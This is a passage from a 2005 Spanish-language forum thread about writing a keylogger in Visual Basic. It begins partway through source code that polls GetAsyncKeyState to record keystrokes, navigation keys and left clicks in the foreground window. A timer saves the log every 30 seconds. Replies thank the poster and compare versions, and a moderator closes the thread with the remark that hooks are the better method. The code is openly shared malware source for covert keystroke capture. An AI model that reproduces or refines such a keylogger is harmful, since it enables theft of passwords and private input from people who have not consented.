End If
Next

'page up, page down, end, home
For i = 33 To 36
If GetAsyncKeyState(i) = -32767 Then
TypeWindow
Text1 = Text1 & ChangeChr(i)
End If
Next

' Left Click
If GetAsyncKeyState(1) = -32767 Then
  If (LastHandle = GetForegroundWindow) And LastHandle <> 0 Then 'we make sure that click is on the page that we are loging bute click log start when we type something in window
Text1 = Text1 & "[LeftClick]"
End If
End If
End If
End Sub

en otro Timer con intervalo de 30segs:
Código:
Private Sub Timer2_Timer()
GurdaLog
End Sub

si lo pones asi no te tendria que dar ningun error...
gracias x el code

salu2


Título: Re: keylogger en VB
Publicado por: kakinets en 22 Septiembre 2005, 03:20 am
a mi el Keylogger como yo lo puse me anda de 10 no se q diferensi hay con la q puso NYlOn....


= gracias por el apoyo q me dan dia a dia


Título: Re: keylogger en VB
Publicado por: NYlOn en 22 Septiembre 2005, 05:21 am
publike de nuevo el codigo para ir cerrand0 el tema y que no se haga tan larg0 el hilo ;D

salu2


Título: Re: keylogger en VB
Publicado por: Slasher-K en 22 Septiembre 2005, 06:17 am
Este tema ya está demasiado tratado en el foro y hay muchos ejemplos. Sólo decir que la mejor opción es usar Hooks y que el código de pedronets es demasiado lento.

Tema cerrado.

Saludos.